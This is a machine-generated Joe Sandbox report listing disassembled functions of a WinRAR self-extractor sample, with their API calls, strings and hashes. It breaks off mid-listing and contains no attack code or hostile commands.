Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf_wcsncpy
String ID: %c:\$%s.%d.tmp
API String ID: 2474501127-1021493711
Opcode ID: ec3a0a4596e00cb2bd479afa27f59465cb09bd272ae950c19ad5ae875a8a0cfc
Instruction ID: 727a68eb672255717b6b5494873d0d1786742a6971a417f2f569041ee214a428
Opcode Fuzzy Hash: ec3a0a4596e00cb2bd479afa27f59465cb09bd272ae950c19ad5ae875a8a0cfc
Instruction Fuzzy Hash: 5B01262214430179D6206B369C45D6B63FCDFC6760B00C83FF495E71C1EA38D4A0827B

Function 00419045 Relevance: 12.1, APIs: 8, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00419057
GetTickCount.KERNEL32 ref: 0041905C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0041908B
TranslateMessage.USER32(?), ref: 00419099
DispatchMessageW.USER32(?), ref: 004190A3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004190B0
GetTickCount.KERNEL32 ref: 004190B6
VariantInit.OLEAUT32(?), ref: 004190C3

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Message$CountTick$DispatchInitPeekTranslateVariant
String ID:
API String ID: 4242828014-0
Opcode ID: 24f8551c6bace4c49b29b4d161595cc50716ae70862bc317294abf2e64a79673
Instruction ID: 4142cfbcc9d42b04f7e144a74b6bfb23a0da8fc7efe1de3e111f6bf35689ebcd
Opcode Fuzzy Hash: 24f8551c6bace4c49b29b4d161595cc50716ae70862bc317294abf2e64a79673
Instruction Fuzzy Hash: 0D211871A00208AFDB10EFE4D888DEEBBBCEF48304F444466F902E7250D7359E458B65

Function 00419C15 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 184comCOMMON

Download Yara Rule

APIs

Part of subcall function 00419BEA: GetDC.USER32(00000000), ref: 00419BEE
Part of subcall function 00419BEA: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00419BF9
Part of subcall function 00419BEA: ReleaseDC.USER32(00000000,00000000), ref: 00419C04

GetObjectW.GDI32(00000200,00000018,?), ref: 00419C42
CoCreateInstance.OLE32(0042B198,00000000,00000001,0042B090,?,00000000,?), ref: 00419C72

Part of subcall function 00419A80: GetDC.USER32(00000000), ref: 00419A8C
Part of subcall function 00419A80: CreateCompatibleDC.GDI32(00000000), ref: 00419A9C
Part of subcall function 00419A80: CreateCompatibleDC.GDI32(?), ref: 00419AA3
Part of subcall function 00419A80: GetObjectW.GDI32(?,00000018,?), ref: 00419AB1
Part of subcall function 00419A80: CreateCompatibleBitmap.GDI32(?,00000200,00419C32), ref: 00419AD3
Part of subcall function 00419A80: SelectObject.GDI32(00000000,?), ref: 00419AE6
Part of subcall function 00419A80: SelectObject.GDI32(?,00000200), ref: 00419AF1
Part of subcall function 00419A80: StretchBlt.GDI32(?,00000000,00000000,00000200,00419C32,00000000,00000000,00000000,?,?,00CC0020), ref: 00419B0F
Part of subcall function 00419A80: SelectObject.GDI32(00000000,?), ref: 00419B19
Part of subcall function 00419A80: SelectObject.GDI32(?,00419C32), ref: 00419B21
Part of subcall function 00419A80: DeleteDC.GDI32(00000000), ref: 00419B2A
Part of subcall function 00419A80: DeleteDC.GDI32(?), ref: 00419B2F
Part of subcall function 00419A80: ReleaseDC.USER32(00000000,?), ref: 00419B35

Strings

(, xrefs: 00419D1A

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$DeleteRelease$BitmapCapsDeviceInstanceStretch
String ID: (
API String ID: 189428636-3887548279
Opcode ID: 5944d7030503ee4e6fe2997628098f357063f2f40a147e5def9495c7f969f20f
Instruction ID: 1c890768cb5db6e66f006307fd37330ab6d2cddd525e733737a617503357ad66
Opcode Fuzzy Hash: 5944d7030503ee4e6fe2997628098f357063f2f40a147e5def9495c7f969f20f
Instruction Fuzzy Hash: D6611B75A00209AFCB00CFA5D898EDEBBB9FF89704B10845AF805EB250D775EE51CB64

Function 004191F2 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 157COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004191FE
_malloc.LIBCMT ref: 00419208

Part of subcall function 0041CCEE: __FF_MSGBANNER.LIBCMT ref: 0041CD11
Part of subcall function 0041CCEE: __NMSG_WRITE.LIBCMT ref: 0041CD18
Part of subcall function 0041CCEE: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004210A4,00000000,00000001,00000000,?,0041ECDD,00000018,0042D8B8,0000000C,0041ED6E), ref: 0041CD65

Strings

</p>, xrefs: 004192BE
<br>, xrefs: 004192D5
<style>, xrefs: 0041930D
</style>, xrefs: 00419328

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AllocateHeap_malloc_wcslen
String ID: </p>$</style>$<br>$<style>
API String ID: 4208083856-1200123991
Opcode ID: e47da76aa666f223b291d0612afcac6699497b395e112ade81621d912ae806f1
Instruction ID: a46fc352e4e2975e8ee3fcdf14dd3711f762a1eade3d454cba8f8919515b0d7c
Opcode Fuzzy Hash: e47da76aa666f223b291d0612afcac6699497b395e112ade81621d912ae806f1
Instruction Fuzzy Hash: 2A411335648256B5DF305B698821BF633A4EF4A750F28488BED81972C0E77C9DC2C25E

Function 0040D7DD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040D7F1

Part of subcall function 0041CCEE: __FF_MSGBANNER.LIBCMT ref: 0041CD11
Part of subcall function 0041CCEE: __NMSG_WRITE.LIBCMT ref: 0041CD18
Part of subcall function 0041CCEE: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004210A4,00000000,00000001,00000000,?,0041ECDD,00000018,0042D8B8,0000000C,0041ED6E), ref: 0041CD65

_wcslen.LIBCMT ref: 0040D831
_wcscat.LIBCMT ref: 0040D848
_wcslen.LIBCMT ref: 0040D84E
_wcscpy.LIBCMT ref: 0040D87C

Strings

}, xrefs: 0040D820

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcslen$AllocateHeap_malloc_wcscat_wcscpy
String ID: }
API String ID: 2020890722-4239843852
Opcode ID: 086a18c9dfe4f33dc1eafd2f2866de13f1a7d73aa28d4a22ba3049cd17bb28b2
Instruction ID: 2153274cbb330867ec567fd334d62d4a4f809a1a1ef496be9bfbb5b143e28170
Opcode Fuzzy Hash: 086a18c9dfe4f33dc1eafd2f2866de13f1a7d73aa28d4a22ba3049cd17bb28b2
Instruction Fuzzy Hash: E211D532E0031A59FB24BAE18C857AB73A8DF00754F50447BE600E22C1E7BC9989829D

Function 0040D93C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D8FF: _wcscpy.LIBCMT ref: 0040D904

RegCreateKeyExW.ADVAPI32(80000001,Software\WinRAR SFX,00000000,00000000,00000000,00020006,00000000,?,?,C:\Users\user\AppData\Local\Temp), ref: 0040D989
_wcslen.LIBCMT ref: 0040D997
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 0040D9B2
RegCloseKey.ADVAPI32(?), ref: 0040D9BB

Strings

Software\WinRAR SFX, xrefs: 0040D97F
C:\Users\user\AppData\Local\Temp, xrefs: 0040D954, 0040D95E

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CloseCreateValue_wcscpy_wcslen
String ID: C:\Users\user\AppData\Local\Temp$Software\WinRAR SFX
API String ID: 3170333323-2870035848
Opcode ID: 3e31a403bdbc06c706a631c2d47d527a2151df9bc685ded264799f600b56c6e3
Instruction ID: f197a405e3e2b50bf6c3819c7e75ec9d0bbb42b94066a0be0ceca9280c3341fb
Opcode Fuzzy Hash: 3e31a403bdbc06c706a631c2d47d527a2151df9bc685ded264799f600b56c6e3
Instruction Fuzzy Hash: 970184B6900208FFEB21AF90DC85EDA777CEB04348F104073B50472051D6745E99966D

Function 0040CD68 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CDC0,00000020,?,?,00405D34,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CD76
GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CD8F
GetProcAddress.KERNEL32(00437800,CryptUnprotectMemory), ref: 0040CD9B

Strings

Crypt32.dll, xrefs: 0040CD71
CryptProtectMemory, xrefs: 0040CD89
CryptUnprotectMemory, xrefs: 0040CD91

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2238633743-1753850145
Opcode ID: 48996cf74afa82a78abaf954274bd4a0a105598b289ae600398f177971e3c7d5
Instruction ID: 336996e79f464d0dcd4ef4225a353fac42888ac2b9566ec382fc56dfec4ad2d4
Opcode Fuzzy Hash: 48996cf74afa82a78abaf954274bd4a0a105598b289ae600398f177971e3c7d5
Instruction Fuzzy Hash: 30E092306007219FD7315F79A844B02FBE85FA0B10B15843FE984A3250D6BCD4518B1D

Function 0041DB35 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0041DB5D

Part of subcall function 0041A14B: __getptd.LIBCMT ref: 0041A159
Part of subcall function 0041A14B: __getptd.LIBCMT ref: 0041A167

__getptd.LIBCMT ref: 0041DB67

Part of subcall function 0041E764: __getptd_noexit.LIBCMT ref: 0041E767
Part of subcall function 0041E764: __amsg_exit.LIBCMT ref: 0041E774

__getptd.LIBCMT ref: 0041DB75
__getptd.LIBCMT ref: 0041DB83
__getptd.LIBCMT ref: 0041DB8E
_CallCatchBlock2.LIBCMT ref: 0041DBB4

Part of subcall function 0041A1F0: __CallSettingFrame@12.LIBCMT ref: 0041A23C

Part of subcall function 0041DC5B: __getptd.LIBCMT ref: 0041DC6A
Part of subcall function 0041DC5B: __getptd.LIBCMT ref: 0041DC78

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: af6cece81d13520d0b2c7441276e33f7147c1f684f1e713e3537a2df1d571309
Instruction ID: d40156fbb06398827007b4612525155ab4241814e2ccc79b1cfdb33acf50bed0
Opcode Fuzzy Hash: af6cece81d13520d0b2c7441276e33f7147c1f684f1e713e3537a2df1d571309
Instruction Fuzzy Hash: 011114B5C00309EFEF00EFA5C545AED7BB1BB08318F10806AE814A7251EB388A95DF59

Function 0040D4FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D55C
CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D583

Strings

-, xrefs: 0040D546
z(D, xrefs: 0040D5CF

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CharUpper
String ID: -$z(D
API String ID: 9403516-2779374180
Opcode ID: 322997d501721ccd47298accbd0f5cb0389bfe0bdafe9c4513dd669b40413162
Instruction ID: eaa5a1cd4c19a0d7a28c75e539a39726096dd450fe4c3503d3caa4b27a1afbea
Opcode Fuzzy Hash: 322997d501721ccd47298accbd0f5cb0389bfe0bdafe9c4513dd669b40413162
Instruction Fuzzy Hash: 9D21F9B5C00114A5DB2067A98D157BA76B8FB49348F084477E648B22C1EA7DCECC9BAD

Function 00406794 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00406799

Part of subcall function 00402C8F: __EH_prolog.LIBCMT ref: 00402C94

SetFileSecurityW.ADVAPI32(00000000,00000007,?,?,?,?,00000000,00000000,00406E51,00000000,?,?,00407680,?,?,?), ref: 00406821
SetFileSecurityW.ADVAPI32(?,00000007,?,00000000,?,00000800,?,00407680,?,?,?,?,?,00000000,004082BC,?), ref: 00406848

Strings

SeRestorePrivilege, xrefs: 004067F1
SeSecurityPrivilege, xrefs: 004067DC

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FileH_prologSecurity
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2167059215-639343689
Opcode ID: 48b2ca3c49c80d20e2fc4024aded728548127d9095e35a6bbedeec348b9416bb
Instruction ID: e7245363570c746e390b2e556e5cb09005819ea418c64774127356a72507b5e9
Opcode Fuzzy Hash: 48b2ca3c49c80d20e2fc4024aded728548127d9095e35a6bbedeec348b9416bb
Instruction Fuzzy Hash: 0221A571D01259BADF21AB55DD02FEF7778AB44758F00807BB801B62C1C7BC8A918BA9

Function 0040E062 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040E098
DialogBoxParamW.USER32(GETPASSWORD1,?,0040D327,?,00000007), ref: 0040E0DC

Strings

GETPASSWORD1, xrefs: 0040E0D1
z(D, xrefs: 0040E07E
z(D, xrefs: 0040E11A

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1$z(D$z(D
API String ID: 3157717868-2824312538
Opcode ID: 53f267fc36ee3481627d632a4eb255c730b28eb151ca7ec6d68e20c6ef5cd4e9
Instruction ID: 51c1217aef4cb495cb8589b2c496236dd520fe36134e174fb0fb718cf5f8f4d9
Opcode Fuzzy Hash: 53f267fc36ee3481627d632a4eb255c730b28eb151ca7ec6d68e20c6ef5cd4e9
Instruction Fuzzy Hash: DA1136357002586BDB21DF22EC41B963B94AB08354F08407AFE446B2D1C7FD8C61C76D

Function 0040D29E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000001), ref: 0040D2E1
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 0040D2F7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0040D311
SetDlgItemTextW.USER32(?,00000066), ref: 0040D31C

Strings

RENAMEDLG, xrefs: 0040D2AD

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ItemText$Dialog
String ID: RENAMEDLG
API String ID: 1770891597-3299779563
Opcode ID: cd36966036f057736dd1771b6cc502c1549ff0f51a1a555564a1fb96c05903df
Instruction ID: 75ef9591e8253b42b5373d5ca3b82e7daeb80745ab2f677ec411a0b33c93f86c
Opcode Fuzzy Hash: cd36966036f057736dd1771b6cc502c1549ff0f51a1a555564a1fb96c05903df
Instruction Fuzzy Hash: 0101B931A4021877DA205F959C01FBB3B24EB49B50F500036FE05B61D0C67AD8169BAE

Function 0041D884 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041D89E

Part of subcall function 0041E764: __getptd_noexit.LIBCMT ref: 0041E767
Part of subcall function 0041E764: __amsg_exit.LIBCMT ref: 0041E774

__getptd.LIBCMT ref: 0041D8AF
__getptd.LIBCMT ref: 0041D8BD

Strings

csm, xrefs: 0041D897
MOC, xrefs: 0041D890

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction ID: c5fb4fdb3a7f7b462572c42264a39ca6eb13578a0b8994a5cbe4e27ea8dda9e5
Opcode Fuzzy Hash: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction Fuzzy Hash: 29E01A79900204CFE710BA6AC146BE93395BF49719F1904A6E81CCB363D72CD8C0954B

Function 00421957 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00421963

Part of subcall function 0041E764: __getptd_noexit.LIBCMT ref: 0041E767
Part of subcall function 0041E764: __amsg_exit.LIBCMT ref: 0041E774

__amsg_exit.LIBCMT ref: 00421983
__lock.LIBCMT ref: 00421993
InterlockedDecrement.KERNEL32(?), ref: 004219B0
InterlockedIncrement.KERNEL32(02271680), ref: 004219DB

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: b0d3f63828b5cfb6d9069d35582233ade97930143943850f8fa50f52d1c606e6
Instruction ID: ec1499f8a426fb9fe9e0fc235175006b4091121507bcf51e277259ebcf926f30
Opcode Fuzzy Hash: b0d3f63828b5cfb6d9069d35582233ade97930143943850f8fa50f52d1c606e6
Instruction Fuzzy Hash: 0701A571B00631ABC720AF56A41575A77A07F14724FC0013BE840673A0CB3C69C2CBDD

Function 00411BF2 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00411BFA
_wcslen.LIBCMT ref: 00411C0B
_wcslen.LIBCMT ref: 00411C1B
_wcslen.LIBCMT ref: 00411C29
CompareStringW.KERNEL32(00000400,00001001,?,?,00000000,?,?,00000000,?,00409E80,__rar_,00000000,00000006,00000000,?,?), ref: 00411C46

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 402c9e037a8e36377aa436ee656740b5283ee8deeb51acbdbcedc5979b7533d9
Instruction ID: abe1653b164107158e89de6b45f0ece219b8340a50baad52ac8984fcfd39dd16
Opcode Fuzzy Hash: 402c9e037a8e36377aa436ee656740b5283ee8deeb51acbdbcedc5979b7533d9
Instruction Fuzzy Hash: 28F0903218D058BFDF226F51EC01CDE3F26DB41378B204027FA1599061DA75C9E297D9

Function 00416516 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041651B

Part of subcall function 00412779: _realloc.LIBCMT ref: 004127D1

